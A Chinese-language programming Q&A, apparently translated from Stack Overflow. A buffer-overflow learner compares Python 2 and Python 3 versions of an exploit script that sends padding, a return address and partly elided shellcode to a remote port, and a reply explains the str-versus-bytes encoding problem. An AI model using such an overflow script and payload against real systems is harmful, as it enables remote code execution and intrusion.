我正在练习一些缓冲区溢出技术,但在发送套接字数据时遇到了奇怪的问题。
我有这两个几乎相同的代码,唯一不同的是在Python3代码中,我更改了sock.send以对字符串进行编码(在Python2中不需要)
Python2代码:
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer)
sock.close
Python 3 代码:
import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))
buffer = "A"*268
buffer += "\x70\xfb\x22\x00"
#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")
sock.send (buffer.encode())
sock.close
我发送了缓冲区,然后使用Immunity Debugger检查EIP/SEP值,发现Python2代码和Python3代码得到的值不同。这怎么可能?
两者的缓冲区相同,因此调试器中的EIP/SEP应该相同。
换句话说,从服务器的角度来看(接收套接字数据),似乎它收到了不同的数据结构或类似的东西。
有什么想法吗?
谢谢。
b"\x70\xfb\x22\x00"
,即确保您使用的是bytes
而不是str
,然后删除encode()
。在Python 3中,str
是一个Unicode字符串,encode()
使用默认字符集对其进行编码,因此您发送的不是指定的字节。 - dhke